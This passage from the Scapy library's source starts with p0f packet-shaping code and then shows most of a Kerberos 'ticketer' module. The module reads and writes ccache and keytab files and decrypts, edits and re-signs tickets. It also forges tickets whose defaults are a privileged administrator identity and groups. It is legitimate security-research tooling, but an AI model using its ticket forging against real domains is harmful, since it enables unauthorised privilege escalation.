'A': pkt.payload.ack = RandInt() elif qq == 'F': if db == p0fo_kdb: pkt.payload.flags |= 0x20 # U else: pkt.payload.flags |= random.choice([8, 32, 40]) # P/U/PU elif qq == 'D' and db != p0fo_kdb: pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp # noqa: E501 elif qq == 'Q': pkt.payload.seq = pkt.payload.ack # elif qq == '0': pkt.payload.seq = 0 # if db == p0fr_kdb: # '0' quirk is actually not only for p0fr.fp (see # packet2p0f()) if '0' in pers[5]: pkt.payload.seq = 0 elif pkt.payload.seq == 0: pkt.payload.seq = RandInt() while pkt.underlayer: pkt = pkt.underlayer return pkt def p0f_getlocalsigs(): """This function returns a dictionary of signatures indexed by p0f db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. You need to have your firewall at least accepting the TCP packets from/to a high port (30000 <= x <= 40000) on your loopback interface. Please note that the generated signatures come from the loopback interface and may (are likely to) be different than those generated on "normal" interfaces.""" pid = os.fork() port = random.randint(30000, 40000) if pid > 0: # parent: sniff result = {} def addresult(res): # TODO: wildcard window size in some cases? and maybe some # other values? if res[0] not in result: result[res[0]] = [res[1]] else: if res[1] not in result[res[0]]: result[res[0]].append(res[1]) # XXX could we try with a "normal" interface using other hosts iface = conf.route.route('127.0.0.1')[0] # each packet is seen twice: S + RA, S + SA + A + FA + A # XXX are the packets also seen twice on non Linux systems ? count = 14 pl = sniff(iface=iface, filter='tcp and port ' + str(port), count=count, timeout=3) # noqa: E501 for pkt in pl: for elt in packet2p0f(pkt): addresult(elt) os.waitpid(pid, 0) elif pid < 0: log_runtime.error("fork error") else: # child: send # XXX erk time.sleep(1) s1 = socket.socket(socket.AF_INET, type=socket.SOCK_STREAM) # S & RA try: s1.connect(('127.0.0.1', port)) except socket.error: pass # S, SA, A, FA, A s1.bind(('127.0.0.1', port)) s1.connect(('127.0.0.1', port)) # howto: get an RST w/o ACK packet s1.close() os._exit(0) return result ================================================ FILE: scapy/modules/ticketer.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later OR MPL-2.0 # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter # flake8: noqa """ Create/Edit Kerberos ticket using Scapy See https://scapy.readthedocs.io/en/latest/layers/kerberos.html """ from datetime import datetime, timedelta, timezone import collections import enum import platform import random import re import struct from scapy.asn1.asn1 import ( ASN1_BIT_STRING, ASN1_GENERAL_STRING, ASN1_GENERALIZED_TIME, ASN1_INTEGER, ASN1_STRING, ) from scapy.compat import bytes_hex, hex_bytes from scapy.config import conf from scapy.error import log_interactive from scapy.fields import ( ByteField, ConditionalField, FieldLenField, FlagsField, IntEnumField, IntField, MayEnd, PacketField, PacketListField, ShortEnumField, ShortField, StrLenField, UTCTimeField, ) from scapy.packet import Packet from scapy.utils import pretty_list from scapy.layers.dcerpc import NDRUnion from scapy.layers.kerberos import ( AuthorizationData, AuthorizationDataItem, EncTicketPart, EncryptedData, EncryptionKey, KRB_Ticket, KerberosClient, KerberosSSP, PrincipalName, TransitedEncoding, _ADDR_TYPES, _AD_TYPES, _KRB_E_TYPES, _KRB_S_TYPES, _PRINCIPAL_NAME_TYPES, _TICKET_FLAGS, _parse_spn, _parse_upn, kpasswd, krb_as_req, krb_get_salt, krb_tgs_req, ) from scapy.layers.msrpce.mspac import ( CLAIM_ENTRY, CLAIMS_ARRAY, CLAIMS_SET, CLAIMS_SET_METADATA, CYPHER_BLOCK, FILETIME, GROUP_MEMBERSHIP, KERB_SID_AND_ATTRIBUTES, KERB_VALIDATION_INFO, PAC_ATTRIBUTES_INFO, PAC_CLIENT_CLAIMS_INFO, PAC_CLIENT_INFO, PAC_INFO_BUFFER, PAC_INFO_BUFFER, PAC_REQUESTOR_SID, PAC_SIGNATURE_DATA, PACTYPE, RPC_SID_IDENTIFIER_AUTHORITY, RPC_UNICODE_STRING, SID, UPN_DNS_INFO, USER_SESSION_KEY, CLAIM_ENTRY_sub2, ) from scapy.layers.windows.security import ( WINNT_SID, WINNT_SID_IDENTIFIER_AUTHORITY, ) from scapy.libs.rfc3961 import EncryptionType, Key, _checksums try: import tkinter as tk import tkinter.simpledialog as tksd from tkinter import ttk except ImportError: tk = None # CCache # https://web.mit.edu/kerberos/krb5-latest/doc/formats/ccache_file_format.html (official doc but garbage) # https://josefsson.org/shishi/ccache.txt (much better) class CCCountedOctetString(Packet): fields_desc = [ FieldLenField("length", None, length_of="data", fmt="I"), StrLenField("data", b"", length_from=lambda pkt: pkt.length), ] def guess_payload_class(self, payload): return conf.padding_layer class CCPrincipal(Packet): fields_desc = [ IntEnumField("name_type", 0, _PRINCIPAL_NAME_TYPES), FieldLenField("num_components", None, count_of="components", fmt="I"), PacketField("realm", CCCountedOctetString(), CCCountedOctetString), PacketListField( "components", [], CCCountedOctetString, count_from=lambda pkt: pkt.num_components, ), ] def toPN(self): return "%s@%s" % ( "/".join(x.data.decode() for x in self.components), self.realm.data.decode(), ) def guess_payload_class(self, payload): return conf.padding_layer class CCDeltaTime(Packet): fields_desc = [ IntField("time_offset", 0), IntField("usec_offset", 0), ] def guess_payload_class(self, payload): return conf.padding_layer class CCHeader(Packet): fields_desc = [ ShortEnumField("tag", 1, {1: "DeltaTime"}), ShortField("taglen", 8), PacketField("tagdata", CCDeltaTime(), CCDeltaTime), ] def guess_payload_class(self, payload): return conf.padding_layer class CCKeyBlock(Packet): fields_desc = [ ShortEnumField("keytype", 0, _KRB_E_TYPES), ShortField("etype", 0), FieldLenField("keylen", None, length_of="keyvalue"), StrLenField("keyvalue", b"", length_from=lambda pkt: pkt.keylen), ] def toKey(self): return Key(self.keytype, key=self.keyvalue) def guess_payload_class(self, payload): return conf.padding_layer class CCAddress(Packet): fields_desc = [ ShortEnumField("addrtype", 0, _ADDR_TYPES), PacketField("address", CCCountedOctetString(), CCCountedOctetString), ] def guess_payload_class(self, payload): return conf.padding_layer class CCAuthData(Packet): fields_desc = [ ShortEnumField("authtype", 0, _AD_TYPES), PacketField("authdata", CCCountedOctetString(), CCCountedOctetString), ] def guess_payload_class(self, payload): return conf.padding_layer class CCCredential(Packet): fields_desc = [ PacketField("client", CCPrincipal(), CCPrincipal), PacketField("server", CCPrincipal(), CCPrincipal), PacketField("keyblock", CCKeyBlock(), CCKeyBlock), UTCTimeField("authtime", None), UTCTimeField("starttime", None), UTCTimeField("endtime", None), UTCTimeField("renew_till", None), ByteField("is_skey", 0), FlagsField( "ticket_flags", 0, 32, # stored in reversed byte order (wtf) (_TICKET_FLAGS + [""] * (32 - len(_TICKET_FLAGS)))[::-1], ), FieldLenField("num_address", None, count_of="addrs", fmt="I"), PacketListField("addrs", [], CCAddress, count_from=lambda pkt: pkt.num_address), FieldLenField("num_authdata", None, count_of="authdata", fmt="I"), PacketListField( "authdata", [], CCAuthData, count_from=lambda pkt: pkt.num_authdata ), PacketField("ticket", CCCountedOctetString(), CCCountedOctetString), PacketField("second_ticket", CCCountedOctetString(), CCCountedOctetString), ] def guess_payload_class(self, payload): return conf.padding_layer def set_from_krb(self, tkt, clientpart, sessionkey, kdcrep): self.ticket.data = bytes(tkt) # Set sname self.server.name_type = tkt.sname.nameType.val self.server.realm = CCCountedOctetString(data=tkt.realm.val) self.server.components = [ CCCountedOctetString(data=x.val) for x in tkt.sname.nameString ] # Set cname self.client.name_type = clientpart.cname.nameType.val self.client.realm = CCCountedOctetString(data=clientpart.crealm.val) self.client.components = [ CCCountedOctetString(data=x.val) for x in clientpart.cname.nameString ] # Set the sessionkey self.keyblock = CCKeyBlock( keytype=sessionkey.etype, keyvalue=sessionkey.key, ) # Set timestamps self.authtime = kdcrep.authtime.datetime.timestamp() if kdcrep.starttime is not None: self.starttime = kdcrep.starttime.datetime.timestamp() self.endtime = kdcrep.endtime.datetime.timestamp() if kdcrep.flags.val[8] == "1": # renewable self.renew_till = kdcrep.renewTill.datetime.timestamp() # Set flags self.ticket_flags = int(kdcrep.flags.val, 2) def is_xcacheconf(self): return self.server.realm.data == b"X-CACHECONF:" class CCache(Packet): fields_desc = [ ShortField("file_format_version", 0x0504), ShortField("headerlen", 0), PacketListField("headers", [], CCHeader, length_from=lambda pkt: pkt.headerlen), PacketField("primary_principal", CCPrincipal(), CCPrincipal), PacketListField("credentials", [], CCCredential), ] # Keytab # https://web.mit.edu/kerberos/krb5-devel/doc/formats/keytab_file_format.html (official but garbage) # https://www.gnu.org/software/shishi/manual/html_node/The-Keytab-Binary-File-Format.html (great) class KTCountedOctetString(Packet): fields_desc = [ FieldLenField("length", None, length_of="data", fmt="H"), StrLenField("data", b"", length_from=lambda pkt: pkt.length), ] def guess_payload_class(self, payload): return conf.padding_layer class KTKeyBlock(Packet): fields_desc = [ ShortEnumField("keytype", 0, _KRB_E_TYPES), FieldLenField("keylen", None, length_of="keyvalue"), StrLenField("keyvalue", b"", length_from=lambda pkt: pkt.keylen), ] def toKey(self): return Key(self.keytype, key=self.keyvalue) def guess_payload_class(self, payload): return conf.padding_layer class KeytabEntry(Packet): fields_desc = [ IntField("size", None), FieldLenField("num_components", None, count_of="components"), PacketField("realm", KTCountedOctetString(), KTCountedOctetString), PacketListField( "components", [], KTCountedOctetString, count_from=lambda pkt: pkt.num_components, ), ConditionalField( IntField("name_type", 0), lambda pkt: pkt.parent.file_format_version != 0x501, ), UTCTimeField("timestamp", None), ByteField("vno8", 0), MayEnd(PacketField("key", KTKeyBlock(), KTKeyBlock)), ConditionalField( IntField("vno", None), lambda pkt: pkt.fields.get("vno", None) or pkt.original, ), ] def getPrincipal(self): comp = "/".join(x.data.decode() for x in self.components) if self.realm.data: return "%s@%s" % ( comp, self.realm.data.decode(), ) else: return comp @property def versionNumber(self): if self.vno is not None: return self.vno return self.vno8 def post_build(self, p, pay): # type: (bytes, bytes) -> bytes if self.size is None: p = struct.pack("!I", len(p)) + p[4:] return p + pay def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, bytes] rem = self.size - len(self.original) return s[:rem], s[rem:] class Keytab(Packet): fields_desc = [ ShortField("file_format_version", 0x502), PacketListField("entries", [], KeytabEntry), ] # TK scrollFrame (MPL-2.0) # Credits to @mp035 # https://gist.github.com/mp035/9f2027c3ef9172264532fcd6262f3b01 if tk is not None: class ScrollFrame(tk.Frame): def __init__(self, parent): super().__init__(parent) self.canvas = tk.Canvas(self, borderwidth=0) self.viewPort = ttk.Frame(self.canvas) self.vsb = tk.Scrollbar(self, orient="vertical", command=self.canvas.yview) self.canvas.configure(yscrollcommand=self.vsb.set) self.vsb.pack(side="right", fill="y") self.canvas.pack(side="left", fill="both", expand=True) self.canvas_window = self.canvas.create_window( (4, 4), window=self.viewPort, anchor="nw", tags="self.viewPort" ) self.viewPort.bind("", self.onFrameConfigure) self.canvas.bind("", self.onCanvasConfigure) self.viewPort.bind("", self.onEnter) self.viewPort.bind("", self.onLeave) self.onFrameConfigure(None) def onFrameConfigure(self, event): """Reset the scroll region to encompass the inner frame""" self.canvas.configure(scrollregion=self.canvas.bbox("all")) def onCanvasConfigure(self, event): """Reset the canvas window to encompass inner frame when required""" canvas_width = event.width self.canvas.itemconfig(self.canvas_window, width=canvas_width) def onMouseWheel(self, event): if platform.system() == "Windows": self.canvas.yview_scroll(int(-1 * (event.delta / 120)), "units") elif platform.system() == "Darwin": self.canvas.yview_scroll(int(-1 * event.delta), "units") else: if event.num == 4: self.canvas.yview_scroll(-1, "units") elif event.num == 5: self.canvas.yview_scroll(1, "units") def onEnter(self, event): if platform.system() == "Linux": self.canvas.bind_all("", self.onMouseWheel) self.canvas.bind_all("", self.onMouseWheel) else: self.canvas.bind_all("", self.onMouseWheel) def onLeave(self, event): if platform.system() == "Linux": self.canvas.unbind_all("") self.canvas.unbind_all("") else: self.canvas.unbind_all("") # Build ticketer class Ticketer: def __init__(self): self._data = collections.defaultdict(dict) self.ccache_fname = None self.ccache = CCache() self.keytab_fname = None self.keytab = Keytab() self.hashes_cache = collections.defaultdict(dict) def open_ccache(self, fname): """ Load from CCache file """ self.ccache_fname = fname self.hashes_cache = collections.defaultdict(dict) with open(self.ccache_fname, "rb") as fd: self.ccache = CCache(fd.read()) def open_keytab(self, fname): """ Load from Keytab file """ self.keytab_fname = fname with open(self.keytab_fname, "rb") as fd: self.keytab = Keytab(fd.read()) def save_ccache(self, fname=None, i=None): """ Save ccache into file :param fname: if provided, save to a specific file. :param i: if provided, only save the ticket n°i. """ if fname: self.ccache_fname = fname if not self.ccache_fname: raise ValueError("No file opened. Specify the 'fname' argument !") # If i is specified, extract single ticket. if i is not None: ccache = self.ccache.copy() ccache.credentials = [ccache.credentials[i]] else: ccache = self.ccache # Write with open(self.ccache_fname, "wb") as fd: return fd.write(bytes(ccache)) def save_keytab(self, fname=None): """ Save keytab into file :param fname: if provided, save to a specific file. """ if fname: self.keytab_fname = fname if not self.keytab_fname: raise ValueError("No file opened. Specify the 'fname' argument !") # Write with open(self.keytab_fname, "wb") as fd: return fd.write(bytes(self.keytab)) def show(self, utc=False): """ Show the content of a CCache """ def _to_str(x): if x is None: return "None" else: x = datetime.fromtimestamp(x, tz=timezone.utc if utc else None) return x.strftime("%d/%m/%y %H:%M:%S") # Show Keytab if self.keytab.entries: print("Keytab name: %s" % (self.keytab_fname or "UNSAVED")) print( pretty_list( [ ( entry.getPrincipal(), _to_str(entry.timestamp), str(entry.versionNumber), entry.key.sprintf("%keytype%"), ) for entry in self.keytab.entries ], [("Principal", "Timestamp", "KVNO", "Keytype")], ) ) print() # Show CCache if not self.ccache.credentials: print("No tickets in CCache.") return else: if self.ccache.primary_principal.components: print("Default principal: %s\n" % self.ccache.primary_principal.toPN()) print("CCache tickets:") # 1. Read configuration entries configuration = collections.defaultdict(dict) for cred in self.ccache.credentials: if not cred.is_xcacheconf(): # Skip non-configuration entries continue if ( len(cred.server.components) not in [2, 3] or cred.server.components[0].data != b"krb5_ccache_conf_data" ): print("Skipping invalid X-CACHECONF !") continue # Get all the values from this weird format cname = cred.client.toPN() key = cred.server.components[1].data.decode() if len(cred.server.components) == 3: sname = cred.server.components[2].data.decode() else: sname = None value = cred.ticket.data.decode() # Store for this cname -> sname, the following 'key' setting. configuration[(cname, sname)][key] = value # 2. Read credentials for i, cred in enumerate(self.ccache.credentials): if cred.is_xcacheconf(): # Skip configuration entries continue # Get client and server principals cname = cred.client.toPN() sname = cred.server.toPN() print( "%s. %s -> %s" % ( i, cname, sname, ) ) print(cred.sprintf(" %ticket_flags%")) # If configuration entries match, show the settings here print( " " + " ".join( "%s=%s" % (key, value) for _sname in [sname, None] for key, value in configuration[(cname, _sname)].items() if (cname, _sname) in configuration ) ) print( pretty_list( [ ( _to_str(cred.starttime), _to_str(cred.endtime), _to_str(cred.renew_till), _to_str(cred.authtime), ) ], [("Start time", "End time", "Renew until", "Auth time")], ) ) print() def _prompt(self, msg): try: from prompt_toolkit import prompt return prompt(msg) except ImportError: return input(msg) def _prompt_hash(self, spn, etype=None, cksumtype=None, hash=None): if etype: hashtype = _KRB_E_TYPES[etype] elif cksumtype: hashtype = _KRB_S_TYPES[cksumtype] else: raise ValueError("No cksumtype nor etype specified") if not hash: if spn in self.hashes_cache and hashtype in self.hashes_cache[spn]: hash = self.hashes_cache[spn][hashtype] else: msg = "Enter the %s hash for %s (as hex): " % (hashtype, spn) hash = hex_bytes(self._prompt(msg)) if ( hash == b"\xaa\xd3\xb45\xb5\x14\x04\xee\xaa\xd3\xb45\xb5\x14\x04\xee" ): log_interactive.warning( "This hash is the LM 'no password' hash. Is that what you intended?" ) key = Key(etype=etype, cksumtype=cksumtype, key=hash) self.hashes_cache[spn][hashtype] = hash if key and etype and key.cksumtype: self.hashes_cache[spn][_KRB_S_TYPES[key.cksumtype]] = hash return key def dec_ticket(self, i, key=None, hash=None): """ Get the decrypted ticket by credentials ID """ cred = self.ccache.credentials[i] tkt = KRB_Ticket(cred.ticket.data) if key is None: key = self._prompt_hash( tkt.getSPN(), etype=tkt.encPart.etype.val, hash=hash, ) try: return tkt.encPart.decrypt(key) except Exception: try: del self.hashes_cache[tkt.getSPN()] except IndexError: pass raise def update_ticket(self, i, decTkt, resign=False, hash=None, kdc_hash=None): """ Update a decrypted ticket by credentials ID """ # Get CCCredential cred = self.ccache.credentials[i] tkt = KRB_Ticket(cred.ticket.data) # Optional: resign the new ticket if resign: # resign the ticket decTkt = self._resign_ticket( decTkt, tkt.getSPN(), hash=hash, kdc_hash=kdc_hash, ) # Encrypt the new ticket key = self._prompt_hash( tkt.getSPN(), etype=tkt.encPart.etype.val, hash=hash, ) tkt.encPart.encrypt(key, bytes(decTkt)) # Update the CCCredential with the new ticket cred.set_from_krb( tkt, decTkt, decTkt.key.toKey(), decTkt, ) def remove_krb(self, i): """ Remove a ticket from the store. :param i: the ticket to remove. """ cred = self.ccache.credentials[i] xcacheconfs = self.get_krb_xcacheopts(i) # Delete from the store del self.ccache.credentials[i] # Among the remaining, do we have an option that's identical in name? if any( not xcred.is_xcacheconf() and xcred.client.toPN() == cred.client.toPN() and xcred.server.toPN() == cred.server.toPN() for xcred in self.ccache.credentials ): # There is another ticket with the same client and server names. Stop here return # There isno ticket exactly the same, remove all the xcacheconf that match for xcred in xcacheconfs: self.ccache.credentials.remove(xcred) # If this was the primary principal, remove from there if cred.client.toPN() == self.ccache.primary_principal.toPN(): self.ccache.primary_principal = CCPrincipal() def import_krb(self, res, key=None, hash=None, _inplace=None): """ Import the result of krb_[tgs/as]_req or a Ticket into the CCache. :param obj: a KRB_Ticket object or a AS_REP/TGS_REP object :param sessionkey: the session key that comes along the ticket """ # Instantiate CCCredential if _inplace is not None: cred = self.ccache.credentials[_inplace] else: cred = CCCredential() # Update the cred xcacheconfs = {} if isinstance(res, KRB_Ticket): if key is None: key = self._prompt_hash( res.getSPN(), etype=res.encPart.etype.val, hash=hash, ) decTkt = res.encPart.decrypt(key) cred.set_from_krb( res, decTkt, decTkt.key.toKey(), decTkt, ) else: if isinstance(res, KerberosClient.RES_AS_MODE): rep = res.asrep pa_type = res.pa_type if pa_type is not None: xcacheconfs["pa_type"] = str(pa_type) if pa_type in [138]: xcacheconfs["fast_avail"] = "yes" elif isinstance(res, KerberosClient.RES_TGS_MODE): rep = res.tgsrep # There could be 171 = KERB_DMSA_KEY_PACKAGE to import for padata in res.kdcrep.encryptedPaData: if padata.padataType == 171: # We have keys to import. key_package = padata.padataValue for key in key_package.currentKeys: self.add_cred( principal=rep.getUPN(), key=key.toKey(), ) log_interactive.info( "%s DMSA keys found and imported !" % len(key_package.currentKeys) ) else: raise ValueError("Unknown type of obj !") cred.set_from_krb( rep.ticket, rep, res.sessionkey, res.kdcrep, ) # Append to ccache if _inplace is None: _inplace = sum( 1 for xcred in self.ccache.credentials if not xcred.is_xcacheconf() ) self.ccache.credentials.insert(_inplace, cred) # If this is the first credential, set it to primary if len(self.ccache.credentials) == 1: self.set_primary(_inplace) # For MIT kinit to be happy, we must provide extra options for the credential for key, value in xcacheconfs.items(): self.set_krb_xcacheconf(_inplace, key, value) def set_primary(self, i): """ Set the primary (=default) credential to the credential n°1 """ self.ccache.primary_principal = self.ccache.credentials[i].client def get_krb_xcacheopts(self, i: int): """ Get the X-CACHECONF config for a credential """ cred = self.ccache.credentials[i] cname = cred.client.toPN() sname = cred.server.toPN().encode() return [ xcred for xcred in self.ccache.credentials if ( xcred.is_xcacheconf() and xcred.client.toPN() == cname and ( len(xcred.server.components) == 2 or xcred.server.components[2].data == sname ) ) ] def set_krb_xcacheconf(self, i: int, key: str, value: str): """ Set a X-CACHECONF config for a credential """ key = key.encode() value = value.encode() cred = self.ccache.credentials[i] sname = cred.server.toPN().encode() # First we look for a potential credential, if present try: conf_cred = next( xcred for xcred in self.get_krb_xcacheopts(i) if xcred.server.components[1].data == key ) except StopIteration: conf_cred = CCCredential( client=cred.client, server=CCPrincipal( name_type=1, realm=CCCountedOctetString(data=b"X-CACHECONF:"), components=[ CCCountedOctetString(data=b"krb5_ccache_conf_data"), CCCountedOctetString(data=key), CCCountedOctetString(data=sname), ], ), ) self.ccache.credentials.append(conf_cred) # Set value conf_cred.ticket = CCCountedOctetString(data=value) def export_krb(self, i): """ Export a full ticket, session key, UPN and SPN. """ cred = self.ccache.credentials[i] return ( KRB_Ticket(cred.ticket.data), cred.keyblock.toKey(), cred.client.toPN(), cred.server.toPN(), ) def add_cred( self, principal, mapupn=None, password=None, salt=None, key=None, etypes=None, kvno=None, ): """ Add a credential to the Keytab. """ if password and key: raise ValueError("Please provide 'password' OR 'key'.") elif not password and not key: try: from prompt_toolkit import prompt password = prompt("Enter password: ", is_password=True) except ImportError: password = input("Enter password: ") # If we have a mapupn, use it to retrieve the salt. if salt is None and mapupn is not None: salt = krb_get_salt(mapupn) # Detect if principal is a SPN or UPN and parse realm. realm = None princname = None try: _, realm = _parse_upn(principal) if salt is None and key is None: salt = krb_get_salt(principal) princname = PrincipalName.fromSPN(principal) except ValueError: try: _, realm = _parse_spn(principal) princname = PrincipalName.fromSPN(principal) except ValueError: raise ValueError("Invalid principal ! (must be UPN or SPN)") if not realm: raise ValueError("Must provide the realm in the principal ! (with @DOMAIN)") if salt is None and key is None: raise ValueError( "Salt could not be guessed. Please provide it, or provide 'mapupn' " "pointing towards the UPN of the user." ) # If password is provided, derive the keys. if password: from scapy.libs.rfc3961 import Key, EncryptionType if etypes is None: etypes = [EncryptionType.AES256_CTS_HMAC_SHA1_96] elif etypes == "all": etypes = [ EncryptionType.AES128_CTS_HMAC_SHA1_96, EncryptionType.AES256_CTS_HMAC_SHA1_96, EncryptionType.RC4_HMAC, ] # For each etype, recurse. for etype in etypes: self.add_cred( principal, key=Key.string_to_key( etype, password.encode(), salt=salt, ), ) return # Get available kvno if kvno is None: try: kvno = max(x.versionNumber for x in self.keytab.entries) + 1 except ValueError: kvno = 1 # Just add it. self.keytab.entries.append( KeytabEntry( realm=KTCountedOctetString( data=realm, ), components=[ KTCountedOctetString( data=x.val, ) for x in princname.nameString ], timestamp=int(datetime.now().timestamp()), name_type=princname.nameType.val, vno8=kvno, key=KTKeyBlock( keytype=key.etype, keyvalue=key.key, ), vno=kvno, _parent=self.keytab, ) ) def get_cred(self, principal, etype=None): """ Get credential from the Keytab by principal. """ for entry in self.keytab.entries: if entry.getPrincipal() == principal: if etype is not None and etype != entry.key.keytype: continue return entry.key.toKey() raise ValueError( "Principal not found in keytab ! " "Note principals are case sensitive, as on ktpass.exe" ) def remove_cred(self, principal, etype=None): """ Remove a credential from the Keytab by principal. """ for i, entry in enumerate(self.keytab.entries): if entry.getPrincipal() == principal: if etype is not None and etype != entry.key.keytype: continue del self.keytab.entries[i] def ssp(self, i, **kwargs): """ Create a KerberosSSP from a ticket or from the keystore. :param i: index of the ticket to use from ccache (client) OR SPN of the key to use from the keystore (server) """ if isinstance(i, int): ticket, sessionkey, upn, spn = self.export_krb(i) if spn.startswith("krbtgt/"): # It's a TGT kwargs.setdefault("SPN", None) # Use target_name only return KerberosSSP( TGT=ticket, KEY=sessionkey, UPN=upn, **kwargs, ) else: # It's a ST return KerberosSSP( ST=ticket, KEY=sessionkey, UPN=upn, SPN=spn, **kwargs, ) elif isinstance(i, str): spn = i key = self.get_cred(spn) return KerberosSSP( SPN=spn, KEY=key, **kwargs, ) else: raise ValueError("Invalid 'i' value. Must be int or str") def _add_cred(self, decTkt, hash=None, kdc_hash=None): """ Add a decoded ticket to the CCache """ cred = CCCredential() etype = ( self._prompt( "What key should we use (AES128-CTS-HMAC-SHA1-96/AES256-CTS-HMAC-SHA1-96/RC4-HMAC) ? [AES256-CTS-HMAC-SHA1-96]: " ) or "AES256-CTS-HMAC-SHA1-96" ) if etype not in _KRB_E_TYPES.values(): print("Unknown keytype") return etype = next(k for k, v in _KRB_E_TYPES.items() if v == etype) cred.ticket.data = bytes( KRB_Ticket( realm=decTkt.crealm, sname=PrincipalName( nameString=[ ASN1_GENERAL_STRING(b"krbtgt"), decTkt.crealm, ], nameType=ASN1_INTEGER(2), # NT-SRV-INST ), encPart=EncryptedData( etype=etype, ), ) ) self.ccache.credentials.append(cred) self.update_ticket( len(self.ccache.credentials) - 1, decTkt, resign=True, hash=hash, kdc_hash=kdc_hash, ) def create_ticket(self, **kwargs): """ Create a Kerberos ticket """ user = kwargs.get("user", self._prompt("User [User]: ") or "User") domain = kwargs.get( "domain", (self._prompt("Domain [DOM.LOCAL]: ") or "DOM.LOCAL").upper() ) domain_sid = kwargs.get( "domain_sid", self._prompt("Domain SID [S-1-5-21-1-2-3]: ") or "S-1-5-21-1-2-3", ) group_ids = kwargs.get( "group_ids", [ int(x.strip()) for x in ( self._prompt("Group IDs [513, 512, 520, 518, 519]: ") or "513, 512, 520, 518, 519" ).split(",") ], ) user_id = kwargs.get("user_id", int(self._prompt("User ID [500]: ") or "500")) primary_group_id = kwargs.get( "primary_group_id", int(self._prompt("Primary Group ID [513]: ") or "513") ) extra_sids = kwargs.get("extra_sids", None) if extra_sids is None: extra_sids = self._prompt("Extra SIDs [] :") or [] if extra_sids: extra_sids = [x.strip() for x in extra_sids.split(",")] duration = kwargs.get( "duration", int(self._prompt("Expires in (h) [10]: ") or "10") ) now_time = datetime.now(timezone.utc).replace(microsecond=0) rand = random.SystemRandom() key = Key.random_to_key( EncryptionType.AES256_CTS_HMAC_SHA1_96, rand.randbytes(32) ) store = { # KRB "flags": ASN1_BIT_STRING("01000000111000010000000000000000"), "key": { "keytype": ASN1_INTEGER(key.etype), "keyvalue": ASN1_STRING(key.key), }, "crealm": ASN1_GENERAL_STRING(domain), "cname": { "nameString": [ASN1_GENERAL_STRING(user)], "nameType": ASN1_INTEGER(1), }, "authtime": ASN1_GENERALIZED_TIME(now_time), "starttime": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)), "endtime": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)), "renewTill": ASN1_GENERALIZED_TIME(now_time + timedelta(hours=duration)), # PAC # Validation info "VI.LogonTime": self._time_to_filetime(now_time.timestamp()), "VI.LogoffTime": self._time_to_filetime("NEVER"), "VI.KickOffTime": self._time_to_filetime("NEVER"), "VI.PasswordLastSet": self._time_to_filetime( (now_time - timedelta(hours=10)).timestamp() ), "VI.PasswordCanChange": self._time_to_filetime(0), "VI.PasswordMustChange": self._time_to_filetime("NEVER"), "VI.EffectiveName": user, "VI.FullName": "", "VI.LogonScript": "", "VI.ProfilePath": "", "VI.HomeDirectory": "", "VI.HomeDirectoryDrive": "", "VI.UserSessionKey": b"\x00" * 16, "VI.LogonServer": "", "VI.LogonDomainName": domain.rsplit(".", 1)[0], "VI.LogonCount": 70, "VI.BadPasswordCount": 0, "VI.UserId": user_id, "VI.PrimaryGroupId": primary_group_id, "VI.GroupIds": [ { "RelativeId": x, "Attributes": 7, } for x in group_ids ], "VI.UserFlags": 32, "VI.LogonDomainId": domain_sid, "VI.UserAccountControl": 128, "VI.ExtraSids": [{"Sid": x, "Attributes": 7} for x in extra_sids], "VI.ResourceGroupDomainSid": None, "VI.ResourceGroupIds": [], # Pac Client infos "CI.ClientId": self._utc_to_mstime(now_time.timestamp()), "CI.Name": user, # UPN DNS Info "UPNDNS.Flags": 3, "UPNDNS.Upn": "%s@%s" % (user, domain.lower()), "UPNDNS.DnsDomainName": domain.upper(), "UPNDNS.SamName": user, "UPNDNS.Sid": "%s-%s" % (domain_sid, user_id), # Client Claims "CC.ClaimsArrays": [ { "ClaimsSourceType": 1, "ClaimEntries": [ { "Id": "ad://ext/AuthenticationSilo", "Type": 3, "StringValues": "T0-silo", } ], } ], # Attributes Info "AI.Flags": "PAC_WAS_REQUESTED", # Requestor "REQ.Sid": "%s-%s" % (domain_sid, user_id), # Server Checksum "SC.SignatureType": 16, "SC.Signature": b"\x00" * 12, "SC.RODCIdentifier": b"", # KDC Checksum "KC.SignatureType": 16, "KC.Signature": b"\x00" * 12, "KC.RODCIdentifier": b"", # Ticket Checksum "TKT.SignatureType": -1, "TKT.Signature": b"\x00" * 12, "TKT.RODCIdentifier": b"", # Extended KDC Checksum "EXKC.SignatureType": -1, "EXKC.Signature": b"\x00" * 12, "EXKC.RODCIdentifier": b"", } # Build & store ticket tkt = self._build_ticket(store) self._add_cred(tkt) def _build_sid(self, sidstr, msdn=False): if not sidstr: return None m = re.match(r"S-(\d+)-(\d+)-?((?:\d+-?)*)", sidstr.strip()) if not m: raise ValueError("Invalid SID format: %s" % sidstr) subauthors = [] if m.group(3): subauthors = [int(x) for x in m.group(3).split("-")] if msdn: return WINNT_SID( Revision=int(m.group(1)), IdentifierAuthority=WINNT_SID_IDENTIFIER_AUTHORITY( Value=struct.pack(">Q", int(m.group(2)))[2:], ), SubAuthority=subauthors, ) else: return SID( Revision=int(m.group(1)), IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=struct.pack(">Q", int(m.group(2)))[2:] ), SubAuthority=subauthors, ) def _build_ticket(self, store): if store["CC.ClaimsArrays"]: claimSet = CLAIMS_SET( ndr64=False, ClaimsArrays=[ CLAIMS_ARRAY( usClaimsSourceType=ca["ClaimsSourceType"], ClaimEntries=[ CLAIM_ENTRY( Id=ce["Id"], Type=ce["Type"], Values=NDRUnion( tag=ce["Type"], value=CLAIM_ENTRY_sub2( ValueCount=ce["StringValues"].count(";") + 1, StringValues=ce["StringValues"].split(";"), ), ), ) for ce in ca["ClaimEntries"] ], ) for ca in store["CC.ClaimsArrays"] ], usReservedType=0, ulReservedFieldSize=0, ReservedField=None, ) else: claimSet = None _signature_set = lambda x: store[x + ".SignatureType"] != -1 return EncTicketPart( transited=TransitedEncoding( trType=ASN1_INTEGER(0), contents=ASN1_STRING(b"") ), addresses=None, flags=store["flags"], key=EncryptionKey( keytype=store["key"]["keytype"], keyvalue=store["key"]["keyvalue"], ), 